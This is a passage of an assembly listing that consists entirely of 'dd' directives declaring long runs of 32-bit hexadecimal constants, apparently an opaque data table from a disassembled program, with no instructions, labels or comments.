		dd 29C1B3D5h, 0F27E5C01h, 0D38E8D50h, 6A94C644h, 4786C0BEh
		dd 182D2B78h, 6D47845h,	8F2ACCE5h, 5505F20Dh, 2998B966h
		dd 52DD3BAh, 51CF837Ch,	4735215Bh, 0C47A7C0Ah, 0E90704B7h
		dd 270CFC7Dh, 5716625Eh, 0FC570A91h, 0BA9FDE78h, 55BD041Bh
		dd 19AA2D00h, 5E124969h, 36AF2168h, 6D203E7Eh, 0CC083B9Bh
		dd 89A238A6h, 0F800095Fh, 7F53EF35h, 62272EB0h,	0E7431BCDh
		dd 96EAE1A5h, 0C59D5037h, 835EA7D3h, 4132D55Ah,	0A9A11816h
		dd 0AB743E5Eh, 43CD9F80h, 0C136138Ah, 0F1430EE1h, 23AC0D00h
		dd 10C1D1F7h, 3FD66F8Bh, 12D0B030h, 0AD32CDE4h,	0DB233D24h
		dd 7EA632A9h, 31B6812h,	74E94530h, 96C39278h, 39F8AD1Dh
		dd 9668358h, 29F3E993h,	0A81307FFh, 0BC1B9CCh, 4FC037E3h
		dd 3E79900Dh, 0F0E1AF80h, 7B593D07h, 7F0BC98Eh,	0DAB01CECh
		dd 3E094FECh, 0EB59CF89h, 5A1E053h, 8C685CD2h, 0BD056A20h
		dd 3F93C3Bh, 0EABC9101h, 36611591h, 608677F4h, 0FA80C71h
		dd 0DABD7487h, 8F088237h, 1B25005Ah, 4BDDE973h,	0A20862B0h
		dd 0E208245Fh, 0CF12CAAh, 7307749h, 32573C60h, 0EC98ABA2h
		dd 6E09E775h, 2DAA4813h, 0E91C4CE8h, 5590924Ah,	583B4FE1h
		dd 392D495Ah, 0F10ED344h, 0C0567F2Ah, 0EB42FDC6h, 320CC344h
		dd 0E9C8D0EAh, 44B5C077h, 56536535h, 81D8AB02h,	2BCE5801h
		dd 6DA2812Fh, 0D618889Ch, 9ED582CDh, 43E918ACh,	6C79561h
		dd 0C3A7B502h, 515FFE89h, 0AD24AE08h, 789E77B6h, 0E4B58F89h
		dd 0D3682552h, 0E984F571h, 0DCAC553Eh, 5DCA32A2h, 8A7047F7h
		dd 409E8C91h, 14011962h, 9297A95h, 0ADACF409h, 8958015Fh
		dd 3920244Fh, 0D9E3E977h, 0D05C53D2h, 0B744BA43h, 6816689Eh
		dd 84AC47B3h, 1456FFD2h, 0BFE88316h, 0EB685FCBh, 189D760Ch
		dd 83B86DC9h, 486662E9h, 20E83326h, 0A1F24C50h,	9A9EFEBCh
		dd 313DB444h, 0EBFB07AEh, 0C045618Ch, 59B27E09h, 8C007CD4h
		dd 0C1613146h, 0CDFE07EDh, 0C824E409h, 94DC805Dh, 9A763322h
		dd 0FCC504E4h, 0C25CB87Fh, 7046C904h, 49CB5050h, 69EF2296h
		dd 81DE70F5h, 92B2173h,	40E955C5h, 0F7D8C1BBh, 0C383BEA4h
		dd 61D1D27Ah, 972C6FE6h, 565A099Eh, 2F2006F2h, 0E4D195DBh
		dd 947480Ah, 8C2E12BCh,	0B852E5B6h, 0F2FCBB80h,	8B9D343Eh
		dd 863D09FAh, 0C4B2348h, 70B26856h, 0B9FA3C9h, 0FBBFF63h
		dd 0CDF0DF2h, 0E01AC133h, 1AF96FAh, 5DE972C3h, 38CD7FF1h
		dd 0DFD0DE62h, 0C02E4409h, 271352D0h, 9400AF4Dh, 974394E1h
		dd 413A900Fh, 0EDC0016Ch, 0E9415CEh, 2E30D9FAh,	811705A7h
		dd 683B20EDh, 0D3951747h, 0BA5C4544h, 5463532h,	0FA09FF5Ah
		dd 68B22102h, 317E3A38h, 289F8A2Ch, 0D2139E7Ah,	0B9B7F0h
		dd 735C0FEBh, 16B76855h, 0E9264204h, 9BBC842Ch,	0C610CC5h
		dd 8077626Eh, 283EEF0Eh, 3F82B7CFh, 790C7F59h, 16CB9706h
		dd 2503D518h, 56FDB8E9h, 438687C3h, 89E1C531h, 1D322BC7h
		dd 2589F2D2h, 0B8D7462Eh, 0B5D33DB0h, 0E984216Fh, 49FAD8A0h
		dd 0A2828751h, 5905ECA3h, 0FA01ED60h, 0E90A0C8Bh, 0DD59A9DEh
		dd 8155511Ah, 0A6495EFAh, 0EEAB08C8h, 1E6A763Dh, 3B0EBB0Dh
		dd 1780407h, 6658EBC1h,	6AA28005h, 89056074h, 564A59CAh
		dd 1D93B201h, 0E12113E4h, 0A961BF41h, 33A94BBh,	0B86F6D13h
		dd 0E6C1058Bh, 0D4EE5602h, 9B1EC0E4h, 965F5BACh, 0CC8004ECh
		dd 475A9731h, 0DF1E87E2h, 7B7AD3F7h, 8708FB69h,	92DD982Bh
		dd 935A443Bh, 97C2A873h, 0E44D21EEh, 0B15B037Bh, 0C874570h
		dd 0E6028864h, 1261168h, 0D22FC9EEh, 45B9D33h, 2CDD4688h
		dd 79D6258Ch, 8FA5652h,	243F76E8h, 3E12C93Fh, 1D041252h
		dd 0F8ECC79Bh, 2034F0C0h, 96584064h, 0E9177307h, 0A4A8556Bh
		dd 915ED4A2h, 71DAEE81h, 9A40481Bh, 4B3414DEh, 92CEA84Bh
		dd 2D90CB08h, 7355EAC9h, 59E9C4FCh, 0E23FE0A1h,	44DEC4B2h
		dd 6B09AB17h, 574CAB21h, 3DDE589Eh, 8C32676Fh, 0BD51B6E9h
		dd 735EE30Fh, 96525E20h, 1AEC3BDDh, 0A6519DA1h,	28C5B583h
		dd 0AE88EAEEh, 0C6CE8EC0h, 0FA6B5AF0h, 2D679E3Bh, 86C22A74h
		dd 2C1969EFh, 276F5FA8h, 4F11E310h, 35A63E56h, 5631EFD7h
		dd 7F2509E9h, 1EE89320h, 9538F311h, 0D378CDh, 0CB506460h
		dd 0B471E927h, 7DB838C7h, 0D11D75A3h, 502AA7FDh, 5C01AB72h
		dd 81765463h, 273ED8CBh, 0E75E2F5Bh, 0B10BDC40h, 2FDBF70Ah
		dd 0ABD667E9h, 0A5BC2ACFh, 343750ADh, 0CBE25FD7h, 0B5F04ABBh
		dd 340C12A4h, 81D1F87Ch, 2905B28h, 0F3DEC02Bh, 652C3EA5h
		dd 0CA02E454h, 577B8978h, 0E5FC0310h, 0E9EA960Bh, 5A0A404Bh
		dd 26D87821h, 43A5E330h, 0E33E6B52h, 0C831A7E7h, 1409C585h
		dd 0BBC7A02Dh, 0D60C7706h, 534B2215h, 0B01322BAh, 58BCA0F7h
		dd 7154EF81h, 29722713h, 8200C74h, 9EA4E917h, 0FE4A47FDh
		dd 63050A41h, 0A07A353Dh, 62028CB0h, 9CE977F7h,	0AEE757FAh
		dd 42356804h, 0BE9649F9h, 41F19F38h, 0DB02ACDh,	3B189521h
		dd 0BFA7CA5Fh, 70C44A4h, 6AE8E7F4h, 0ADADF608h,	8AEB187Bh
		dd 48023D61h, 0FF682908h, 0E149EE8Eh, 0EF009CD4h, 0C8012FADh
		dd 0C8089459h, 817125A9h, 24E05F08h, 0C61F089Fh, 0A0B52C28h
		dd 5DAC31Ch, 4B7A281Dh,	3D3404F7h, 0FE017E09h, 0A246DAC1h
		dd 0A25F704Bh, 1D68C201h, 16A15166h, 95301656h,	12C4AE1Eh
		dd 1CF36E88h, 0BB088027h, 69E2C102h, 0C9D04357h, 5B08E950h
		dd 0E120D1BDh, 3F4283E9h, 0FC2AD7C9h, 518E605h,	2A7C6C5Bh
		dd 9D10FA01h, 7C5E2708h, 0B60262BAh, 555A5956h,	6D4C881Bh
		dd 0EB36417Fh, 10795203h, 0B6010A56h, 445C1E7Eh, 42E9844Fh
		dd 50F2CA81h, 5C18D5CCh, 2FC7707h, 8CF25B68h, 224DE943h
		dd 0C2D74B80h, 5C758B9Fh, 0FE6E51EAh, 0EF2C0109h, 0D52F0861h
		dd 79500475h, 1732AB69h, 9D92F819h, 255B06F9h, 14F4F284h
		dd 0E71084DAh, 29787FA2h, 0A38FB51h, 0AF1095CFh, 0A9EAAD68h
		dd 77914F12h, 0B0BC4C04h, 3DF6BE02h, 0E17F19C2h, 452A35D0h
		dd 0FA4EF2C0h, 0D789C7C1h, 0B651D889h, 4227DA46h, 0A70E7BAEh
		dd 0CF242245h, 8E48AF10h, 4B7EB61Eh, 197C4D95h,	4212C83h
		dd 0EA4E9392h, 3A5A7445h, 5F4160F7h, 8E6760C7h,	0D2FA37Bh
		dd 3BE4A37Fh, 0FD5C922Eh, 43974840h, 5E040824h,	3F2A7603h
		dd 2B0C0B78h, 6A82F3C0h, 2CD059CEh, 0E94280B4h,	1D14871h
		dd 1D48C1D0h, 3C440F31h, 13C93960h, 2D043A54h, 6802520Ah
		dd 0E1D1147Dh, 3AF25EE5h, 208068C9h, 20503529h,	257E4A00h
		dd 64B13DCh, 68F0382Dh,	3CE90984h, 20168E84h, 8FE92E83h
		dd 0FE0596A5h, 76A73C22h, 6FBB013Eh, 7A198B56h,	0F17B2DE4h
		dd 6E7D5E02h, 0D46C2336h, 0F2FC5318h, 14AB0178h, 7E02DCBBh
		dd 28F46F27h, 0BFE918DEh, 0F18032E2h, 0A8280C28h, 8E97CDF6h
		dd 0AA011452h, 1566C3C0h, 0FF61F606h, 163F2D08h, 0DC8346E0h
		dd 8F71B10h, 1131AF9Bh,	6947201Fh, 16B7A01h, 0E70159D4h
		dd 0A088C56h, 63E62858h, 892A0866h, 1B6B1810h, 105E0B18h
		dd 8C66791h, 31187BACh,	59085A60h, 741888A6h, 0BB3A0C32h
		dd 0F408B10h, 7D64409Ch, 63BA0540h, 65FE0893h, 20B3A120h
		dd 0FB31D137h, 73EB1809h, 5DBF0888h, 0C6E3B08h,	0E928BA61h
		dd 40466940h, 8B401381h, 5E8A40E7h, 0A1C441CDh,	88C4BF9h
		dd 99187E4Eh, 0D2084167h, 63C5185Ch, 4DED08B9h,	86C2935h
		dd 6259B086h, 3C2510DEh
		dd 57DE302h, 0B59846D4h, 4662F9ABh, 2EA6A08h, 210665FDh
		dd 91F73789h, 8568640h,	81411862h, 5B0F0360h, 0D897182Ah
		dd 20A56220h, 3931C17Eh, 2CA908B4h, 3139052h, 1818D8F3h
		dd 4408B7E5h, 538381EFh, 0D1103CE0h, 5B31347Ch,	90630B39h
		dd 0C410F129h, 80407D74h, 0A901F1B7h, 7A845259h, 1858D503h
		dd 186D9908h, 0CD8078F0h, 0E910C424h, 0AA7D0557h, 85CEC4Ch
		dd 0E7D9CA64h, 466192B8h, 804D534h, 18C29A31h, 8889FBFh
		dd 4B0CFE30h, 63852011h, 0FAB50817h, 9D071818h,	80776308h
		dd 0B680F44Ch, 267B8091h, 941C30C6h, 99626208h,	0CC0347E9h
		dd 0A7181089h, 6E6F77BFh, 5E083971h, 40E12824h,	61C46884h
		dd 0A90CA09Dh, 95405C79h, 5DF840F6h, 99E7ACA9h,	62E936A9h
		dd 0E0775995h, 1086CE18h, 0D6817C96h, 6F6BD051h, 4F54188Ch
		dd 0A1C41108h, 7A04CE6Eh, 448D06F9h, 0B0D74908h, 316F0E10h
		dd 0B56539B9h, 0D8495002h, 0DD8510Ah, 51D0256Ah, 3BBDBACh
		dd 0A4A919B5h, 8C240812h, 8E4D6A1h, 18536542h, 61AC44A6h
		dd 4AE50471h, 10600A06h, 7965DE34h, 0DA6BB84Fh,	10046318h
		dd 15748B18h, 54B873FDh, 786F9EB4h, 18717D08h, 3A010A0Ch
		dd 0A1660187h, 1448D802h, 0C180E1DDh, 8DB0A951h, 496D0888h
		dd 0FC9C6002h, 5CA464E8h, 9519B25Fh, 0E3C78743h, 40AD91h
		dd 62C473Bh, 13EB0275h,	0B9370E89h, 5A03DA7h, 38F4401h
		dd 0C90B4940h, 0CA4CF775h, 0DE127498h, 21FAF003h, 0E0C03349h
		dd 4F30B10Fh, 0E9AC2C30h, 0B3B54E64h, 55B8172Dh, 6884C5F8h
		dd 70D8BA43h, 0AE5C02FDh, 5D10E92Dh, 3CB1A7Dh, 0C5726834h
		dd 0F3211A56h, 248006C6h, 567DF581h, 0F950EBDh,	0F3C23C61h
		dd 5749E36Ah, 79A568E7h, 561863F0h, 0C8311019h,	0A72AC105h
		dd 93E90C8Dh, 0B8C37938h, 73027BDh, 567F3658h, 0CB2F9F3Fh
		dd 5DD812F8h, 36A4CE83h, 0BB808B7Ch, 0EC430025h, 83E38166h
		dd 5E011179h, 6D30BA52h, 0EB7041A9h, 0B57C0490h, 6D32120h
		dd 953E83A0h, 0D4E96ED4h, 0A658526Ah, 0C4EBE917h, 0F02565A9h
		dd 58983E5h, 0C8B0D702h, 0CED61E6Ah, 97F24C06h,	14B72E1Ch
		dd 8870AADh, 0F9E0A7A5h, 0EF3E5380h, 917F9210h,	0B2D235EDh
		dd 0E985D85Fh, 0F7095E5Dh, 72277BB5h, 2D62483Fh, 0E77097Ch
		dd 0E6755E0Ah, 5A2030F6h, 1478BA26h, 9816A128h,	51FB702h
		dd 0DDDAF70Dh, 0BCAAF20h, 52091BA4h, 0D58F65E9h, 0EBF75519h
		dd 6EF96898h, 2485AFBDh, 4191FB41h, 0E66E29B6h,	61BA9243h
		dd 2ED62957h, 28BFFD34h, 68F6E8B3h, 0F3757B25h,	0E95C406Fh
		dd 22DEED1Bh, 72C68087h, 3023F630h, 530A4F5h, 2C685366h
		dd 0E9274276h, 0DD8B4F5Eh, 0E67CF702h, 0FB9FC9D2h, 84183FF5h
		dd 6EECE55Bh, 0D2F7024h, 0EE83D749h, 9872B2Ch, 46C335FCh
		dd 0B06F5B88h, 2F0E7D1h, 0FC3A2F2Dh, 0BD550094h, 32517A6Eh
		dd 5E0CEDFEh, 0C1C4508h, 11423E8Eh, 93CD07FCh, 0C067D634h
		dd 720C71C5h, 0BB537901h, 1062192Ah, 35273087h,	0A87D69F3h
		dd 5B01083Fh, 535DEF31h, 6B0A6E80h, 0F5BB28D8h,	0D7279412h
		dd 1184D001h, 0BD2A0142h, 0DA116967h, 33B424C3h, 39E68155h
		dd 303C285Ah, 0E712711Fh, 13BAB173h, 245DFA6Eh,	68FE9417h
		dd 0FA485EBFh, 300BDECAh, 0E48CFE43h, 0EA8D889Bh, 0C38B5F04h
		dd 8BAE0167h, 0C64C762Eh, 0D30C9862h, 1C1CB001h, 252243E9h
		dd 0D1D393DFh, 0BC24228h, 2C8D1473h, 0F55C0AC7h, 9EC8B556h
		dd 3006CC4Dh, 4BBCE958h, 175A4C1Ch, 0E10F7C19h,	0FAA1F9F2h
		dd 432C2740h, 0A4C6883Ch, 918001E2h, 770BE405h,	6025F63Bh
		dd 0EFD11689h, 0F09F781h, 0DE3DC510h, 0E2D552F5h, 2F477FC8h
		dd 0AD05BADh, 0AAAEB8E9h, 92A99C8Eh, 0A055BD51h, 38565359h
		dd 26034D68h, 7FA4E903h, 400BE148h, 6124AA93h, 1C09738Ah
		dd 0EBEAA008h, 0EE0F3166h, 0BD895E5Dh, 7541D2CAh, 52CB58F7h
		dd 1D370840h, 8B9BA0F1h, 0EB64D6BFh, 51BA9C75h,	8F00BBF8h
		dd 0E91FA538h, 2B9ED068h, 0EF69D785h, 6670A304h, 26CB8CFBh
		dd 0FBE5740h, 685C6E73h, 14F90F46h, 0B0505B00h,	24D8F68Bh
		dd 0D0D0E878h, 3013840Ch, 0EE1E04C6h, 0CC90C01h, 38E91AFFh
		dd 0E27F3E2Eh, 0BF678FE6h, 26E484DCh, 3E925825h, 5393F0B5h
		dd 9671FFD7h, 97470A8Fh, 4D7EDEA7h, 0AD6D0E0Bh,	16033179h
		dd 3E5FF921h, 3E7D0FE2h, 0E8CB29A6h, 488CC58Bh,	25E9569Dh
		dd 2FE9FD34h, 97FE87F4h, 2181C4Fh, 0FBF5740h, 4E775671h
		dd 1850F9C9h, 7B9839B7h, 7CB58A2Eh, 0A782A30h, 122090BDh
		dd 0F0311AFCh, 56AF0BFh, 1A2CC75Eh, 277C6C4Bh, 0FF6C58C7h
		dd 0A365D534h, 0A23CD7ABh, 0AA681AF6h, 46B54ACDh, 0DF8027FDh
		dd 694C3468h, 0F726D616h, 0BB097FACh, 40873E54h, 9E5C11CDh
		dd 9C6E702Bh, 0CFB8A24h, 4BAC1F15h, 79A46DBEh, 0BF0C6159h
		dd 27A61E0h, 0CE9FBE9h,	0FCB9B2E9h, 22194F28h, 0ABFACA31h
		dd 758018ADh, 699563EBh, 0FE6AB660h, 800C783Bh,	94300AEAh
		dd 4BCC0C66h, 0E93209DDh, 9CE63D6Eh, 0C0395712h, 2801C0E0h
		dd 17D8D0F7h, 0ABFF3FBEh, 23989C01h, 0D06A7696h, 433E44E5h
		dd 0ABE15D4Fh, 64070698h, 0B027363Ah, 202F7877h, 592CE47Eh
		dd 0E978C257h, 9FE590BEh, 0E4A774D3h, 56EA95C4h, 5FF1CF5h
		dd 0C685AD6h, 32A69835h, 0AF222A41h, 7B3029CEh,	1E2BF33Eh
		dd 30FB0A8Ah, 3AC617A6h, 48383D02h, 0BFC0FABBh,	0BA7C850Ch
		dd 0E8A5C010h, 274AB8EDh, 0F17C9399h, 0F856266Fh, 0D189F12h
		dd 4173CD80h, 62F8E54Ah, 2FD69B25h, 2E3E6152h, 4FF8C124h
		dd 4C33CA5Fh, 0FA251258h, 1D7433EBh, 41C0B7C5h,	139100DEh
		dd 58BF5C66h, 0CACD806Bh, 230204A2h, 0C1C28367h, 0A7130829h
		dd 0A5EFD972h, 2B20DFF0h, 646801EFh, 5D16990Dh,	2928DC52h
		dd 0AA001B93h, 0E97C5902h, 196940Eh, 0DC365CBEh, 82A9E8AFh
		dd 0D42514C0h, 1C3B5232h, 71397F35h, 62AC7664h,	12D705E4h
		dd 95FA6886h, 0F802FB41h, 0DDFF35E9h, 0EF842746h, 452CEC38h
		dd 6E35F9DDh, 15B9803Eh, 0D7906566h, 18585BECh,	34110C0h
		dd 550AEC78h, 0E17A622Ah, 0A091C9BCh, 733D9421h, 6480642Ch
		dd 68105DBDh, 0AE7150F9h, 4FE7631Dh, 42F4CF80h,	34E97FE6h
		dd 5D8638CAh, 17FB53CEh, 0B096E871h, 0A848C1E9h, 72C33116h
		dd 37AEAC68h, 0B9732FE9h, 0BE56ED80h, 433F2ABAh, 495A134Eh
		dd 0E9B2B20h, 7B404C3Ah, 251DB302h, 7D09090Ah, 0A06ED620h
		dd 2948A752h, 2D501BC9h, 5AB8A43Ch, 53355801h, 0F01B2C71h
		dd 85031D8h, 0B05AE48Ah, 0DD809A9h, 0F55E168h, 3248A556h
		dd 48776169h, 0AFA49528h, 61BA9898h, 0FD688A25h, 51B4530Bh
		dd 59C9CCBDh, 0F91851D3h, 0BF648840h, 9AE955B8h, 0F51C6297h
		dd 0DF4BE045h, 68272094h, 0B00B66D2h, 993A622Dh, 66756C29h
		dd 58DD0987h, 0F3060BBAh, 5C67B1F5h, 7AB2617Dh,	0C5CBA017h
		dd 7BBC05CCh, 1D8330F6h, 0C15FFD4Fh, 0D403ED25h, 0D9CC87BDh
		dd 0EA3190D7h, 0B04B23E9h, 3381C274h, 8E6EA4C4h, 440B504Ch
		dd 4902E5E0h, 0C40F21BAh, 0F540DF70h, 0E925D331h, 80B685D6h
		dd 1909D31Eh, 52B354F6h, 0A28C5476h, 0BBB1086h,	69E82818h
		dd 5B5F0F5Ah, 0E90BEB8Bh, 0CD21B640h, 30D803F6h, 0D24A9C53h
		dd 5A8402F2h, 67BA00FEh, 9D55C715h, 17802BF3h, 0BF56B670h
		dd 0E57198Bh, 966E362Eh, 97E25C4Ch, 41500D00h, 0AFF5BB4Dh
		dd 0E9B2BE05h, 8AFFB792h
		dd 5DE813BBh, 1E3411BCh, 33F9C213h, 9C2DD2E8h, 0EBED882h
		dd 6B6AE381h, 0C3C037CEh, 207151BFh, 5BDF2103h,	0B50DE953h
		dd 3DF6F013h, 8D8EE92h,	2E4A810Ch, 10C629B2h, 0EB054F42h
		dd 1C2F7459h, 29734AEh,	9D206EEEh, 33839760h, 0E62D2EC1h
		dd 2E70ABB3h, 0B4765545h, 0FE6EF42Eh, 7DC9B15Bh, 57C1B632h
		dd 8152ADE9h, 4FC3BA12h, 55E85DCAh, 0E92FE13Eh,	0F46D700h
		dd 32B72B57h, 51CCF6E4h, 0C40DD7C1h, 0B932264Bh, 0F5290B11h
		dd 4DEF4600h, 455AB053h, 8407FBDh, 39F224E9h, 6F75A689h
		dd 0EFD76A64h, 0B33FD599h, 0C5E909BAh, 7716FF18h, 72E56AA1h
		dd 5950050Ch, 1BE09F5h,	295A080Ch, 41E3264Ch, 0D2233111h
		dd 0C6B15100h, 52C10380h, 0C9FED1F6h, 74CD67F9h, 91A1815Dh
		dd 3F6AD17Ch, 0F9C5D45h, 2180DF5Fh, 29E7A79Dh, 0C62EC3CEh
		dd 2DA987B0h, 7E023F89h, 52E2DBE9h, 38BE0423h, 0C04D5279h
		dd 50778002h, 92BECB60h, 5C086625h, 15015A4Ah, 0E94CD414h
		dd 22328D2h, 0A21970B9h, 2EE37537h, 2D5AD598h, 6E475202h
		dd 40E82901h, 2546151Ch, 0B5D67A20h, 71729981h,	0CA3D0584h
		dd 4B2AE912h, 0D774594Bh, 40B4F92Dh, 20AF6856h,	0E911F605h
		dd 9BFA38BFh, 0F5D71013h, 9C20917h, 0D7E46A4Dh,	82F685A9h
		dd 0C980592Ch, 24B88EA1h, 0A8C3C828h, 0A8E05F41h, 0B921B4C3h
		dd 0EB326389h, 10E70D96h, 0A4DD3F3Ah, 56FB4B6Ah, 8BE33FD6h
		dd 0EB324A30h, 0EA59C43Dh, 8D68C184h, 100BB341h, 7848FC1Ch
		dd 4ACE5910h, 0F89141EEh, 383F0536h, 6E68C245h,	2FF1CC7Ah
		dd 0AEE74CD2h, 0A7B9712Dh, 8649B97Ch, 776B9531h, 92A52ACFh
		dd 96CAC089h, 5A72274Ah, 7A2F2F0h, 43D27155h, 3903105Eh
		dd 0C2517F7h, 650C0248h, 31543412h, 96243CD6h, 7C1AE905h
		dd 46EB4BABh, 0BF82F671h, 0C0917959h, 88CEAA52h, 473443EBh
		dd 9D85BACAh, 3F0669FFh, 49E9DD43h, 0C53F0276h,	0FCC1B710h
		dd 47868140h, 7427892Dh, 6008A02Fh, 1B42E45Dh, 517A5B2Ah
		dd 3FE9D10Ah, 5361D239h, 0F8EC3CB7h, 99014B0Ch,	13ABEC99h
		dd 6696B9Ch, 1F131207h,	7B2D4AB9h, 0BB73C8A4h, 0D13F9B93h
		dd 74070B6Dh, 5C55445Ch, 6FC23E39h, 52501051h, 0C004B678h
		dd 0CE8003EEh, 0A48BDBC1h, 98D8EA04h, 668DA186h, 282136Ch
		dd 9AF52F68h, 4A14D9C7h, 0BB231368h, 2F68798Ch,	5C1229BDh
		dd 61F890FFh, 9858F472h, 0F7F2162Fh, 0EA6BA02Fh, 7C5D9309h
		dd 2541D606h, 72BF509Eh, 58509F93h, 0E100B776h,	3E68113h
		dd 9855B23Ah, 6A2F0936h, 8487508Ch, 3EEC6130h, 0E45F7889h
		dd 0BA0E96AFh, 0C9C19697h, 657D5B07h, 0E956604Eh, 599F8E9Ah
		dd 82624868h, 6C68E0D3h, 0E92EE5F0h, 0EA40DACAh, 7BB13029h
		dd 16FF2033h, 69C252C4h, 5B55103h, 89EB79F1h, 0D2F710h
		dd 0EA9A5382h, 9F429F54h, 0CC3E085Dh, 13608008h, 0E800215Ch
		dd 31779644h, 5EBB08C4h, 93954B06h, 33920FE6h, 97C96420h
		dd 21888153h, 22F62DF3h, 0E9A5C79Bh, 3236C5CEh,	2FF2110h
		dd 0A41991B8h, 5F407D50h, 3776652Dh, 0BF250800h, 0E93DA875h
		dd 49CA6224h, 0D7E8F2F0h, 0A333C58h, 0E955F07Dh, 7A38464Dh
		dd 2835ACAh, 4BC31FE2h,	16291E40h, 0EAB02DEAh, 80932058h
		dd 0FAE7F912h, 0EFCF4089h, 0D44EC309h, 5179C00Bh, 78DB9DB9h
		dd 0B38800A7h, 760DD926h, 0C9393A2Dh, 5CACE98Bh, 91E9145Dh
		dd 70C0A0FEh, 3D5C975Bh, 6A3EE52h, 910A69BAh, 0F0B7E43Fh
		dd 28E20B0Ah, 0FC8E7C0Fh, 4AC5AC92h, 0ED683070h, 10DBBF0Eh
		dd 0EE012809h, 3E7C9551h, 0BB1AFD25h, 154015F5h, 0EC938A5Ch
		dd 0E8E91671h, 0C831C880h, 25D19751h, 4601FC60h, 0CD45E53Ah
		dd 29231E8h, 3D96E9EBh,	0BF86CE55h, 0E727AA4Ch,	391D7271h
		dd 4FA968D4h, 7B68997h,	33A46687h, 0EFB1F1EEh, 0ED882178h
		dd 705DD6C7h, 5A2DE4B1h, 0B74CEC01h, 0E806D847h, 2DB27628h
		dd 28FCD028h, 0C315C05Ah, 7106CBC9h, 9F32D387h,	9006260Ch
		dd 3E7ED4BAh, 0B712B49Dh, 790BF6D8h, 58451F15h,	5CAD05D0h
		dd 9289DD2Eh, 99548D71h, 7209B720h, 7DCF66DFh, 44BE4E20h
		dd 0F1BF13BBh, 3C76589h, 77EFE90Fh, 4A1C734Ch, 0A1B067AAh
		dd 26707405h, 0BF1F7A6Ch, 4AB35BFBh, 0F790B701h, 4ACCE9D7h
		dd 0C8FB9213h, 0A994BA40h, 9180EE9Eh, 236EE181h, 28295803h
		dd 0BFBD135Ah, 692DCC2Ch, 0F0804B8Fh, 284D2586h, 0BB0E5860h
		dd 173F0961h, 0BAEFD147h, 0F2BDA712h, 88071980h, 68B74806h
		dd 0E16A1773h, 0D3F0FD2Fh, 0F705A592h, 0D8098647h, 1021E65Bh
		dd 48C6DEE9h, 0AEA910B1h, 2456A14Eh, 0F8352D27h, 94C2134Ah
		dd 2FFD101h, 42DF629Dh,	459FD843h, 1E0BC6E9h, 5D58BB05h
		dd 40EB0956h, 5B5E9DDFh, 0C54E963h, 3813B9D2h, 9BB8D032h
		dd 0AEEF82Fh, 627DF90h,	6BF153A9h, 0E9DE98DFh, 0C40279C8h
		dd 5FDA163Bh, 6DD82002h, 6DC6FD86h, 589F3D24h, 7A8050A5h
		dd 52585AE8h, 48BC68h, 937F71EAh, 4B286832h, 85BF8C18h
		dd 1CB02A13h, 303BBAE0h, 210C0B5Bh, 3C13C613h, 1402CA09h
		dd 4E01416Ah, 0F9F727F4h, 662ED2FCh, 9D165C6Bh,	682E8C54h
		dd 0F8E0C1BFh, 3D047026h, 0C25F7E2Dh, 0B9D215E2h, 0DF14520Ah
		dd 0C514D305h, 362612B3h, 45286FFCh, 0F2560CDDh, 5DECD9A7h
		dd 5D5BD09Fh, 680BD626h, 57986DBCh, 5273D788h, 0F44AFE75h
		dd 0B45B9ACCh, 9EE9E103h, 1D22D9Dh, 8B7A74F1h, 26B5D37h
		dd 0E30681Eh, 9F60C4FEh, 7848D418h, 8C7B958Bh, 66AEF149h
		dd 92D6B18Ch, 0AFE4C3F9h, 0F1C6BC8h, 0E9098F2Ch, 0C9FCBDC9h
		dd 7E4A9A6Ah, 9F405C38h, 61EA76Ch, 18ABFBCBh, 4E0768E3h
		dd 0D68BA239h, 607A9B29h, 6E457A5Fh, 0CE817B01h, 532A3602h
		dd 26851C4h, 38BF5609h,	46FF4159h, 0A60C4F35h, 9AB40BAh
		dd 0D5D8CD0Ch, 0E134C851h, 0C1B3D3C2h, 81225CE9h, 37E3BDD6h
		dd 7D3656F7h, 187A450h,	0BF6CDB68h, 0C6B4DF76h,	0FD21A07Dh
		dd 0BECCC6E9h, 5C574CDFh, 1A02E89Fh, 0B3FB952Ah, 0D725F69Fh
		dd 374ED0Bh, 5F55464Fh,	19F304A7h, 0BCE20FBFh, 4C004EFDh
		dd 85232CEFh, 5359051Ah, 0FC2A6268h, 6A75C012h,	37E96423h
		dd 6F4B9545h, 5205CC5Eh, 6026C30Ch, 740C2601h, 0F8CF3DE6h
		dd 0E2B453EAh, 53FC880Eh, 39A2E76Eh, 3057585Bh,	0C042C203h
		dd 6F06C65Fh, 0EEEC3F9Dh, 6537050Ch, 134C1861h,	904BD718h
		dd 822D9DEBh, 0E7345894h, 0A2929F5Ch, 0C5C27B34h, 3CE80A21h
		dd 5A152FACh, 0EDC1C162h, 27FA0477h, 0ACDBA4B2h, 0A5555915h
		dd 4EBC9638h, 7A8E44A1h, 0C30113A6h, 69185F0Ch,	0D3A6E97Ch
		dd 4BD8C607h, 0F6E03E7Dh, 0B8EE145h, 4CD1E991h,	4E96147Fh
		dd 52E41D1Ch, 0E124BE9Ah, 695A81BBh, 0AFB46FDEh, 11819536h
		dd 8A740F68h, 0CE1AEE3Dh, 6E825764h, 5AFA50D3h,	6BA60B09h
		dd 64FFDC62h, 68830BC5h, 0D350778Bh, 485E992Fh,	0B157BB3h
		dd 0C32138B3h, 96B70055h, 5F39A80Ch, 0C15EE855h, 595EE9EEh
		dd 58C67D89h, 17BB1404h, 851722BFh, 2930EF50h, 114F40C3h
		dd 0AC0B4F32h, 4D5270Ah, 0DABA583Fh, 3C5B1B39h,	50327D24h
		dd 12C2A8EEh, 0EF475F2Dh, 36C0A65Eh, 31D95112h,	0CAD0C8F3h
		dd 58A36805h, 0CFAA9444h, 2DCACFEAh, 0D1CEC0DFh, 0C23B0FEAh
		dd 0B2B840Fh, 0A020D211h, 3812DB9Bh, 430AEB39h,	5425A2FAh
		dd 42BB651Ah, 505BDA0Fh, 3A69895Dh, 9ABB4369h, 599BC9CAh
		dd 0BE5802E4h, 521D9225h
		dd 5C7CBE39h, 4DA434E9h, 97D08112h, 0AF8B3B37h,	8580BA13h
		dd 483CFFA9h, 1D272B68h, 68C4AD1Eh, 5FF35252h, 0C872E582h
		dd 527D68E3h, 0F1397F77h, 0AA4CE297h, 0CBBFFD25h, 73009367h
		dd 0D02D5FFEh, 2E8B3A42h, 0ED657F87h, 2C26A039h, 409D3F94h
		dd 0EB0EA8B3h, 0E0EE04C0h, 0D9D3FDD8h, 179C3E1Ah, 0FAE81E53h
		dd 60225D7Bh, 8104FD6Fh, 8F01122Ah, 1ED377C1h, 0E19A84ECh
